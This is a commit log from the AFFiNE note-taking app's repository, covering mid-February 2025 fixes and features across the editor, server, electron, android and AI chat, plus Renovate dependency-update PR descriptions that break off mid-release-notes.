2025-02-18 10:10:27 +00:00
pengx17
cb15d48b82 chore(core): more setting telemetry events (#10194) 2025-02-18 09:55:00 +00:00
pengx17
78346be4fe fix(electron): update settings styles (#10193) 2025-02-18 09:54:59 +00:00
Flrande
13834dd09a fix(editor): display heading icon all time (#10256) 2025-02-18 09:39:26 +00:00
L-Sun
4e546c78ef chore(core): remove template doc feature flag (#10252) 2025-02-18 09:25:06 +00:00
L-Sun
e639f08b71 chore(editor): remove page block feature flag (#10251) 2025-02-18 09:25:05 +00:00
Flrande
cedee0a1b2 fix(editor): split at the start of list with children (#10244) 2025-02-18 09:10:00 +00:00
pengx17
0ed8b4f46a fix(core): center peek button bg color (#10225)
fix AF-2026
2025-02-18 08:55:49 +00:00
doouding
88095a87a8 fix: create linked-doc block when content can't be drop as gfx block (#10250) 2025-02-18 08:40:57 +00:00
Aki Chang
3f4b7ec51e feat(android): integrate web api & native AI chat button (#10239) 2025-02-18 16:23:25 +08:00
EYHN
892fd16f52 fix(core): fix ios cloud sync (#10243) 2025-02-18 08:12:49 +00:00
doouding
73f3226f58 fix: drag paragraph block from note to edgeless (#10242) 2025-02-18 07:30:00 +00:00
doouding
0af921c3fc fix: edgeless drag handle position (#10241) 2025-02-18 07:29:59 +00:00
forehalo
51e842000a fix(server): pagination input parser (#10245) 2025-02-18 07:15:51 +00:00
forehalo
da67c78152 feat(server): use job system (#10218) 2025-02-18 05:41:57 +00:00
forehalo
cb895d4cb0 feat(server): job system (#10134) 2025-02-18 05:41:57 +00:00
CatsJuice
f6a86c10fe fix(editor): edgeless toolbar basket not visible in firefox (#10232) 2025-02-18 04:52:52 +00:00
Saul-Mirone
c3e924d4cb refactor(editor): move export manager to surface block extensions (#10231) 2025-02-18 04:39:05 +00:00
forehalo
31f8e92a4b test(server): fix flaky cache tests (#10238) 2025-02-18 04:25:23 +00:00
donteatfriedrice
e67fd67a3c fix(core): copy more button group style (#10240) 2025-02-18 04:07:59 +00:00
forehalo
a303455ded fix(server): default workspace avatar size (#10229) 2025-02-18 03:53:59 +00:00
forehalo
fdddaf651f chore(core): adjust selfhost sign in ui (#10226)
close AF-2227
2025-02-18 03:38:01 +00:00
fengmk2
bae1a7f2ac fix(server): log error on gcloud (#10235) 2025-02-18 03:21:31 +00:00
akumatus
b2654ffec7 feat(core): add 100k tokens limit for the docs context (#10211)
Support issue [BS-2352](https://linear.app/affine-design/issue/BS-2352).

![截屏2025-02-16 21.32.16.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/813b2f67-918b-4c61-ba2e-b5066792a4fd.png)
2025-02-18 02:33:50 +00:00
akumatus
015452e8fb fix(core): unable to explain image when network search is active (#10228)
Fix issue [PD-2316](https://linear.app/affine-design/issue/PD-2316).
2025-02-18 02:20:21 +00:00
doouding
eed00e0b26 fix: mindmap ai preview (#10222) 2025-02-17 12:45:20 +00:00
Flrande
5748591bc5 fix(editor): width and height of embed block (#10223) 2025-02-17 10:37:05 +00:00
zzj3720
e4f2223a2a fix(editor): table block readonly support (#10224)
close: BS-2597
2025-02-17 10:19:00 +00:00
JimmFly
29d8824479 fix(core): handle unexpected hits to paywalls (#10215)
close AF-2232

fix(core): handle unexpected hits to paywalls

chore: remove sent email action
2025-02-17 08:04:33 +00:00
fundon
6dc1fefa33 fix(editor): video style in edgeless (#10198)
### Before

![Screenshot 2025-02-14 at 17.51.29.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/202ce9f9-3dc9-4063-aab9-68a22d5ee5ff.png)

### After

![Screenshot 2025-02-14 at 17.51.46.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/47fd729b-cad3-4ea1-8f9e-eefbc2652f88.png)
2025-02-17 06:50:02 +00:00
CatsJuice
f369a8dca0 feat(core): add link to template tutorial (#10189) 2025-02-17 06:34:59 +00:00
fengmk2
57213781a8 refactor(server): dont convert graphql bad request into internal server error (#10203) 2025-02-17 06:17:00 +00:00
fundon
34472fdfa9 fix(editor): make std stable in affine-link and affine-reference (#10207) 2025-02-17 05:09:53 +00:00
aki-chang-dev
642559df4b fix(android): edge to edge compatibility for capacitor7 (#10191) 2025-02-17 04:42:02 +00:00
fundon
378007da81 chore(editor): no need to cache attachment embed config map (#10197)
### What's Changed!

* no need to cache attachment embed config map
2025-02-17 04:21:00 +00:00
donteatfriedrice
594224e3b4 feat(editor): support to copy in preview root block (#10214)
[BS-2590](https://linear.app/affine-design/issue/BS-2590/ai-chat-panel-的-copy-code-不-work-了) [BS-2550](https://linear.app/affine-design/issue/BS-2550/chat-panel-内的内容复制粘贴到-affine-编辑器时-时没办法保留格式)
2025-02-17 04:07:10 +00:00
EYHN
691daaa7e8 fix(core): fix the permission check in peek view (#10213) 2025-02-17 03:51:54 +00:00
akumatus
9418a89ae9 feat(core): auto collapse ai chips (#10209)
Support issue [BS-2545](https://linear.app/affine-design/issue/BS-2545).

Automatically collapse the AI chips when starting a new chat.

![截屏2025-02-16 19.07.05.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/eac6f760-3b07-410d-863c-9f15c99df58a.png)
2025-02-17 03:38:07 +00:00
L-Sun
85e413f8c8 chore(editor): add telemetry track to display mode of note (#10192)
Close [BS-2468](https://linear.app/affine-design/issue/BS-2468/analytics-for-page-block-polish)
2025-02-17 03:23:55 +00:00
doodlewind
1476ca922b refactor(editor): simplify worker renderer message and canvas transfer (#10199)
- Fixed frame delay on panning.
- Removed redundant worker message.
- Removed redundant offscreen bitmap transfer.
- Refactored logic using a clearer `refresh` method entry.
- Extracted plain utils.
2025-02-17 02:35:28 +00:00
CatsJuice
04cb303535 fix(core): prevent text wrapping in starter bar badge (#10157) 2025-02-16 08:31:11 +00:00
CatsJuice
b5ba17c464 chore(core): disallow closing auth modal for clicking outside and escape (#10156) 2025-02-16 08:14:12 +00:00
doouding
8ece812017 feat: dnd image preview && edgeless dnd preview issue (#10177)
### Changed
- Add new image block to render dnd preview
- Fixed the bug that dragging uploaded image does not have width and height
- Fixed the bug that drag image block from page to edgeless does not have width and height
- Better edgeless dnd preview
2025-02-14 16:02:03 +00:00
akumatus
631c8b8145 refactor(core): lazy create copilot session and context (#10170) 2025-02-14 14:48:46 +00:00
donteatfriedrice
5a42edf076 fix(core): copy more button style (#10196)
[AF-2228](https://linear.app/affine-design/issue/AF-2228/ui-bug-retry-和-copy-的按钮颜色不一致)
2025-02-14 13:22:27 +00:00
donteatfriedrice
e6b570e613 feat(core): support network search in chat block center peek (#10186)
[BS-2582](https://linear.app/affine-design/issue/BS-2582/chat-block-center-peek-支持-network-search)
2025-02-14 12:43:31 +00:00
zzj3720
b6f8027e1b fix(editor): extra line breaks and spaces when parsing table from html (#10190)
close: BS-2562, BS-2569
2025-02-14 12:13:00 +00:00
L-Sun
35aec95022 chore(editor): adjust margin of edgeless page block title (#10188)
![CleanShot 2025-02-14 at 16.01.33@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/27b561ef-1363-4e9c-97ee-6cd83aa98fdd.png)

![CleanShot 2025-02-14 at 16.01.48@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/6751c51b-58bb-4d33-bf34-b4df5c992dce.png)
2025-02-14 11:44:00 +00:00
forehalo
3dde47dd08 fix(server): event handler bindings (#10165) 2025-02-14 11:29:03 +00:00
darkskygit
42e0563d2e feat: filter out session create request for root doc (#10187) 2025-02-14 11:14:57 +00:00
Saul-Mirone
d111f8ac88 feat(editor): add WidgetViewExtension (#10180)
Closes: [BS-2282](https://linear.app/affine-design/issue/BS-2282/replace-widgetviewmapextension-with-widgetextension)
2025-02-14 11:00:01 +00:00
Flrande
9dc81ecb99 fix(editor): increase edgeless text init min width (#10051) 2025-02-14 10:46:00 +00:00
JimmFly
9048b38069 fix(core): adjust share menu (#10164)
close AF-2218 AF-2215 AF-2221
2025-02-14 10:32:12 +00:00
JimmFly
36800f2d24 fix(core): adjust the redirection path for retrying payments when self-hosting (#10181) 2025-02-14 10:18:00 +00:00
forehalo
cc6fdef10e chore(electron): remove offline mode (#10152)
close AF-2177
2025-02-14 10:04:01 +00:00
darkskygit
981b4efecf feat(server): worker improve (#10176)
fix AF-2225
2025-02-14 09:47:57 +00:00
akumatus
1bf1832211 refactor(core): get copilot sessions api (#10168)
Fix issue [BS-2575](https://linear.app/affine-design/issue/BS-2575).

### What Changed?
- Refactor `getCopilotSessions` api.
  - Add `docId` parameter.
  - Add `action` parameter.
2025-02-14 06:57:58 +00:00
pengx17
f20e3f6d8f feat(electron): show a warning for drop folder to split view (#10178)
fix PD-2310

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/811df8d5-f424-4135-ad90-30135b299f12.png)
2025-02-14 06:42:56 +00:00
Flrande
537012e7df fix(editor): edgeless mindmap text button layer inder (#10179) 2025-02-14 05:18:57 +00:00
L-Sun
9d08f446cc refactor(editor): remove redundant edgeless icons (#10169)
Continue [BS-2240](https://linear.app/affine-design/issue/BS-2240/%E6%B8%85%E7%90%86%E9%87%8D%E5%A4%8D%E7%9A%84icon)

This PR removes `icons/edgeless.ts` and refactor with `@blocksuite/icons` for reducing redundant icons
2025-02-14 05:03:26 +00:00
pengx17
1f6ac4b1fe feat(electron): split view drag indicator bg (#10175)
fix PD-2309
2025-02-14 03:43:54 +00:00
forehalo
dcc9c9a7ec fix(server): should fallback to doc role permission if not specified (#10166) 2025-02-14 03:00:56 +00:00
Oleg
b82fc3bc10 feat(core): attach a pdf (#10039)
Co-authored-by: L-Sun <zover.v@gmail.com>
2025-02-14 10:22:32 +08:00
Alexey Lysenko
769547c2d5 fix(editor): support more divider markdown shortcut (#10139) 2025-02-14 10:13:40 +08:00
Flrande
4e488a1ba1 fix(editor): figma block ui issues (#10167) 2025-02-13 13:56:18 +00:00
L-Sun
3ada4bee0d chore(editor): adjust min width of edgeless note (#10153)
Close [BS-2499](https://linear.app/affine-design/issue/BS-2499/所有notes最小宽度调整为218px)

### What changes
- adjusted min width of edgeless note
  - placeholder show ellipsis in min edgeless note
- refactored somes button of `change-note-button.ts` with `isPageBlock`
2025-02-13 12:40:14 +00:00
Brooooooklyn
96bde3ceaf chore(server): enhance log context and messages (#10151) 2025-02-13 12:24:12 +00:00
akumatus
79d5f55471 feat(core): move context docs to user prompt (#10162)
Fix issue [BS-2522](https://linear.app/affine-design/issue/BS-2522).

### Why make this change?
If the user data contains illegal content, carrying the user data in the system prompt will run the risk of having the account banned.

### What Changed?
- Move the `Context Documents` to the user prompt.
- Add `withPrompt` in `QueryChatHistoriesInput` options.
- Get chat histories without prompt messages.
- Omit document context when saving messages to the `aiSessionMessage` db.
2025-02-13 12:08:13 +00:00
fengmk2
3ff721abe8 refactor(server): auto print full stack on logger.error (#10161) 2025-02-13 11:49:41 +00:00
darkskygit
899b1d60e0 feat: better error handle for sse endpoint (#10155)
fix CLOUD-123
2025-02-13 10:10:13 +00:00
L-Sun
a7de6edfef fix(editor): overflow of dragging preview of note card in ToC (#10160)
Close [BS-2503](https://linear.app/affine-design/issue/BS-2503/长note拖拽时会带着右侧边栏标题一起移动)
2025-02-13 09:55:11 +00:00
donteatfriedrice
40c6e42ab8 fix(core): edgeless text ai action should generate image correctly (#10158)
[BS-2570](https://linear.app/affine-design/issue/BS-2570/edgeless-text-没有被正确的作为上下文放入-app)
2025-02-13 09:38:13 +00:00
CatsJuice
887bbcf641 chore(core): add feature flag for ios AI button (#10150)
close AF-2209, AF-2104
2025-02-13 09:10:14 +00:00
CatsJuice
7c04ef4f4e fix(component): loading in button should be white for primary variant (#10073)
close AF-2178
2025-02-13 08:55:11 +00:00
Brooooooklyn
312f9b1ecd ci: split server tests (#10141) 2025-02-13 08:40:10 +00:00
forehalo
ab538ef9bb fix(server): selfhost subscription customer portal creation (#10149) 2025-02-13 08:23:28 +00:00
JimmFly
ea95ff39c5 fix(core): show self hosted license seats (#10146) 2025-02-13 07:58:10 +00:00
forehalo
3f97203623 fix(server): wrong affine pro endpoint (#10144) 2025-02-13 07:41:08 +00:00
aki-chang-dev
31ca8f25b6 fix(android): fix status bar style (#10147) 2025-02-13 07:14:11 +00:00
akumatus
35cbbb3c4b fix(core): ai context gql file (#10145) 2025-02-13 06:57:12 +00:00
CatsJuice
39182b5fc6 fix(core): do not show starter bar for doc in history modal (#10107) 2025-02-13 06:15:09 +00:00
CatsJuice
d3e0cd1369 chore(core): use fadeBottom animation for center peek (#10072)
close AF-2184, AF-2186

![CleanShot 2025-02-11 at 09.31.39.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/81ed6601-33ff-4eee-bb35-636a2a27cd85.gif)
2025-02-13 05:58:10 +00:00
CatsJuice
473f8bd167 feat(core): hide starter-bar for template (#10112) 2025-02-13 05:41:11 +00:00
CatsJuice
85addad18f feat(core): persist right-sidebar open state and resize width (#10120) 2025-02-13 05:25:09 +00:00
Saul-Mirone
9321ce94a7 refactor(editor): remove global types in config (#10143)
Closes: [BS-2554](https://linear.app/affine-design/issue/BS-2554/remove-global-types-in-block-config)
2025-02-13 04:35:35 +00:00
L-Sun
dbf1d0038a fix(edtiro): hide toc drag indicator on edgeless note (#10135)
Close [BS-2497](https://linear.app/affine-design/issue/BS-2497/隐藏edgeless-only的toc的dnd-indicator)
2025-02-13 04:18:12 +00:00
L-Sun
011c18de8b fix(editor): hide collpased content during dragging note (#10133)
Close [BS-2531](https://linear.app/affine-design/issue/BS-2531/%E6%8B%96%E5%8A%A8%E6%8A%98%E5%8F%A0%E7%9A%84note%E6%97%B6%EF%BC%8C%E4%B8%8D%E6%98%BE%E7%A4%BA%E9%9A%90%E8%97%8F%E5%86%85%E5%AE%B9), [BS-2536](https://linear.app/affine-design/issue/BS-2536/page-block%E9%A1%B6%E9%83%A8toolbar)
2025-02-13 04:18:11 +00:00
Brooooooklyn
01b9aa91b2 chore(server): migrate depracated opentelemetry usage (#10140) 2025-02-13 04:02:07 +00:00
renovate
c4565b57ec chore: bump up vite-plugin-istanbul version to v7 (#10106)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite-plugin-istanbul](https://redirect.github.com/ifaxity/vite-plugin-istanbul) | [`^6.0.2` -> `^7.0.0`](https://renovatebot.com/diffs/npm/vite-plugin-istanbul/6.0.2/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite-plugin-istanbul/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite-plugin-istanbul/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite-plugin-istanbul/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite-plugin-istanbul/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ifaxity/vite-plugin-istanbul (vite-plugin-istanbul)</summary>

### [`v7.0.0`](https://redirect.github.com/iFaxity/vite-plugin-istanbul/releases/tag/v7.0.0)

[Compare Source](https://redirect.github.com/ifaxity/vite-plugin-istanbul/compare/v6.0.2...v7.0.0)

-   fix!: corrected broken lockfile ([#&#8203;339](https://redirect.github.com/ifaxity/vite-plugin-istanbul/issues/339)) ([213cd65](213cd65c3b))

##### Features

-   allow passing generatorOpts down to Babel ([#&#8203;323](https://redirect.github.com/ifaxity/vite-plugin-istanbul/issues/323)) ([c58d180](c58d180a5f))

##### BREAKING CHANGES

-   previous pr made an api change

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2Ny4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-13 03:46:08 +00:00
akumatus
d17f5651f1 feat(core): add with your docs label to ai answer (#10124)
Fix issue [BS-2425](https://linear.app/affine-design/issue/BS-2425).

![截屏2025-02-12 16.34.20.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/89576eac-e176-4890-8d58-7c39d0ae1d9b.png)
2025-02-13 03:28:27 +00:00
Yifeng Wang
26de7a56fd refactor(editor): remove redundant getOptional for gfx (#10142) 2025-02-13 11:27:20 +08:00
doouding
ed0b25def0 fix: drop indicator in center peek (#10136) 2025-02-13 02:53:07 +00:00
doouding
81ead5cd35 fix: database cross doc dragging (#10126) 2025-02-13 02:53:06 +00:00
pengx17
5be4d677da feat(electron): app tabs width styles (#10131)
fix AF-2212
2025-02-13 02:36:05 +00:00
fengmk2
0ce4cc8609 refactor(server): add debug info on global exception log (#10118)
before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/4fc84ed7-a3a3-452b-85d0-240847793c5c.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/60d9342c-6bf2-4ed0-817a-8e4eba3e0832.png)
2025-02-13 02:20:02 +00:00
L-Sun
9a17422d36 fix(editor): wrong position of remote selection and at menu in edgeless (#10137)
Close [BS-2552](https://linear.app/affine-design/issue/BS-2552/menu-loading-时滚动,定位错误), [BS-2490](https://linear.app/affine-design/issue/BS-2490/note-block-的menu的输入阴影错位), [BS-2300](https://linear.app/affine-design/issue/BS-2300/at-menu的输入阴影在暗黑模式看不见)

### What  Changes
- fix the position of remote selection mask and @ menu input mask in edgeless
- fix the position of @ menu is no updated during edgeless viewport change
- update @ menu mask color in dark mode

### Before
https://github.com/user-attachments/assets/f44f618e-a791-497a-9f53-74824fe48dea

### After
https://github.com/user-attachments/assets/5d87b999-deae-4435-9b8b-4cdf55393395
2025-02-13 01:56:01 +00:00
doouding
f0a99851aa fix: embed block style when dragging doc from sidebar doc list to edgeless (#10122) 2025-02-13 01:35:33 +00:00
doouding
40121b6ad5 feat: dragged blocks should set opacity (#10119) 2025-02-13 01:35:33 +00:00
Yifeng Wang
fc77c7d41a refactor(editor): move worker renderer to presets with basic test (#10127) 2025-02-12 19:35:06 -06:00
doouding
270d1754a3 feat: edgeless dnd preview (#10117) 2025-02-12 12:37:07 +00:00
doouding
f89fcf82f8 feat: edgeless dnd (#9988)
### Changed
- Support edgelss dnd
- Simplify the drag-handle state
2025-02-12 12:37:06 +00:00
forehalo
8129434a2e fix(server): allow to checkout selfhost team in canary (#10130) 2025-02-12 12:19:28 +00:00
github-actions[bot]
e4e06f35bb chore(i18n): sync translations (#10026)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-02-12 12:18:24 +00:00
Saul-Mirone
e7cc710f8e refactor(editor): remove service global type (#10129)
Closes: [BS-2566](https://linear.app/affine-design/issue/BS-2566/remove-global-types-in-service)
2025-02-12 11:46:10 +00:00
aki-chang-dev
6730122108 feat(android): implement capacitor/keyboard plugin (#10125) 2025-02-12 11:28:56 +00:00
renovate
1409408a66 chore: bump up all non-major dependencies (#10116)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.4.0` -> `9.5.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.4.0/9.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.4.0/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.4.0/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.9` -> `1.1.10`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.9/1.1.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.9/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.9/1.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`5.0.0` -> `5.0.1`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.17` -> `2.3.18`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fwebpack-plugin/2.3.17/2.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.2.1` -> `9.2.2`](https://renovatebot.com/diffs/npm/html-validate/9.2.1/9.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.2.1/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.2.1/9.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [tldts](https://redirect.github.com/remusao/tldts) | [`6.1.68` -> `6.1.77`](https://renovatebot.com/diffs/npm/tldts/6.1.68/6.1.77) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tldts/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tldts/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tldts/6.1.68/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tldts/6.1.68/6.1.77?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [zod](https://zod.dev) ([source](https://redirect.github.com/colinhacks/zod)) | [`3.24.1` -> `3.24.2`](https://renovatebot.com/diffs/npm/zod/3.24.1/3.24.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/zod/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/zod/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/zod/3.24.1/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/zod/3.24.1/3.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>faker-js/faker (@&#8203;faker-js/faker)</summary>

### [`v9.5.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#950-2025-02-10)

[Compare Source](https://redirect.github.com/faker-js/faker/compare/v9.4.0...v9.5.0)

##### Features

-   **image:** add AI-generated avatars ([#&#8203;3126](https://redirect.github.com/faker-js/faker/issues/3126)) ([9e13953](9e1395380c))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/semantic-conventions)</summary>

### [`v1.30.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/HEAD/CHANGELOG.md#1300)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.29.0...v1.30.0)

##### 🚀 (Enhancement)

-   feat(sdk-metrics): PeriodicExportingMetricReader now flushes pending tasks at shutdown [#&#8203;5242](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5242)

##### 🐛 (Bug Fix)

-   fix(sdk-trace-base): do not load OTEL\_ env vars on module load, but when needed [#&#8203;5233](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5233)
-   fix(instrumentation-xhr, instrumentation-fetch): content length attributes no longer get removed with `ignoreNetworkEvents: true` being set [#&#8203;5229](https://redirect.github.com/open-telemetry/opentelemetry-js/issues/5229)

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.10`](https://redirect.github.com/toeverything/design/compare/1.1.9...1.1.10)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.9...1.1.10)

</details>

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/vite-plugin)</summary>

### [`v5.0.1`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#501)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@5.0.0...@vanilla-extract/vite-plugin@5.0.1)

##### Patch Changes

-   Updated dependencies \[[`965fd03`](965fd03ff2)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.1
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.2

</details>

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/webpack-plugin)</summary>

### [`v2.3.18`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/webpack-plugin/CHANGELOG.md#2318)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/webpack-plugin@2.3.17...@vanilla-extract/webpack-plugin@2.3.18)

##### Patch Changes

